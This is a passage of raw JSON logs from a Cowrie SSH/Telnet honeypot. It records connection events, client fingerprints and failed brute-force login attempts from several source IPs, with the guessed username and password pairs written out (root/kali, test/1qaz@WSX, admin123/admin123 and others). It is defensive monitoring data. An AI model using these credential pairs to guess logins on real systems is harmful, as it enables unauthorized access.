-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:47.273464Z","src_ip":"176.65.132.129","session":"a7cbab0e089a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:47.612780Z","src_ip":"176.65.132.129","session":"a7cbab0e089a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:48.698196Z","src_ip":"176.65.132.129","session":"a7cbab0e089a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.655920267105103,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:48.784014Z","src_ip":"152.42.224.71","session":"202ac81e117c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36824,"dst_ip":"10.17.0.5","dst_port":23,"session":"c43598db44d1","protocol":"telnet","message":"New connection: 152.42.224.71:36824 (10.17.0.5:23) [session: c43598db44d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:49.575279Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37786,"dst_ip":"159.203.135.109","dst_port":22,"session":"d222ca88570a","protocol":"ssh","message":"New connection: 176.65.132.129:37786 (159.203.135.109:22) [session: d222ca88570a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:50.525177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:50.530106Z","src_ip":"176.65.132.129","session":"d222ca88570a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:50.613136Z","src_ip":"176.65.132.129","session":"d222ca88570a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:50.859690Z","src_ip":"176.65.132.129","session":"d222ca88570a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36832,"dst_ip":"10.17.0.5","dst_port":23,"session":"b41b09541987","protocol":"telnet","message":"New connection: 152.42.224.71:36832 (10.17.0.5:23) [session: b41b09541987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:51.859269Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:52.055603Z","src_ip":"176.65.132.129","session":"d222ca88570a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37802,"dst_ip":"159.203.135.109","dst_port":22,"session":"da5ebfe730db","protocol":"ssh","message":"New connection: 176.65.132.129:37802 (159.203.135.109:22) [session: da5ebfe730db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:53.686060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:53.691394Z","src_ip":"176.65.132.129","session":"da5ebfe730db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:53.775668Z","src_ip":"176.65.132.129","session":"da5ebfe730db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:54.030246Z","src_ip":"176.65.132.129","session":"da5ebfe730db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:55.116355Z","src_ip":"176.65.132.129","session":"da5ebfe730db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58100,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f2f75c99df","protocol":"ssh","message":"New connection: 176.65.132.129:58100 (159.203.135.109:22) [session: 11f2f75c99df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:56.981787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:56.988741Z","src_ip":"176.65.132.129","session":"11f2f75c99df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:57.072097Z","src_ip":"176.65.132.129","session":"11f2f75c99df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:57.453475Z","src_ip":"176.65.132.129","session":"11f2f75c99df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:58.540183Z","src_ip":"176.65.132.129","session":"11f2f75c99df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":60822,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c7d14df30ac","protocol":"ssh","message":"New connection: 13.71.92.229:60822 (10.17.0.5:22) [session: 2c7d14df30ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:59.193554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:59.198585Z","src_ip":"13.71.92.229","session":"2c7d14df30ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:59.412943Z","src_ip":"13.71.92.229","session":"2c7d14df30ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36944,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb334a01ff6f","protocol":"telnet","message":"New connection: 152.42.224.71:36944 (10.17.0.5:23) [session: eb334a01ff6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:59.950589Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"888888","message":"login attempt [root/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:00.295564Z","src_ip":"13.71.92.229","session":"2c7d14df30ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58102,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dc61f255cd6","protocol":"ssh","message":"New connection: 176.65.132.129:58102 (159.203.135.109:22) [session: 3dc61f255cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:00.334764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:00.339103Z","src_ip":"176.65.132.129","session":"3dc61f255cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:00.421737Z","src_ip":"176.65.132.129","session":"3dc61f255cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:00.673707Z","src_ip":"176.65.132.129","session":"3dc61f255cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:01.509538Z","src_ip":"13.71.92.229","session":"2c7d14df30ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:01.869123Z","src_ip":"176.65.132.129","session":"3dc61f255cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58114,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ca883f9c289","protocol":"ssh","message":"New connection: 176.65.132.129:58114 (159.203.135.109:22) [session: 2ca883f9c289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:03.432559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:03.437618Z","src_ip":"176.65.132.129","session":"2ca883f9c289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:03.524135Z","src_ip":"176.65.132.129","session":"2ca883f9c289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:03.771505Z","src_ip":"176.65.132.129","session":"2ca883f9c289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:04.857068Z","src_ip":"176.65.132.129","session":"2ca883f9c289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33536,"dst_ip":"10.17.0.5","dst_port":23,"session":"47325db02b56","protocol":"telnet","message":"New connection: 152.42.224.71:33536 (10.17.0.5:23) [session: 47325db02b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:06.689283Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40422,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb7f08ebc29","protocol":"ssh","message":"New connection: 176.65.132.129:40422 (159.203.135.109:22) [session: 4cb7f08ebc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:06.705010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:06.737421Z","src_ip":"176.65.132.129","session":"4cb7f08ebc29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:06.942847Z","src_ip":"176.65.132.129","session":"4cb7f08ebc29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:07.212991Z","src_ip":"176.65.132.129","session":"4cb7f08ebc29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.100141525268555,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:07.223922Z","src_ip":"152.42.224.71","session":"0ce824fa1300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:08.298598Z","src_ip":"176.65.132.129","session":"4cb7f08ebc29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40424,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d1584e14c0b","protocol":"ssh","message":"New connection: 176.65.132.129:40424 (159.203.135.109:22) [session: 9d1584e14c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:10.084747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:10.094682Z","src_ip":"176.65.132.129","session":"9d1584e14c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gc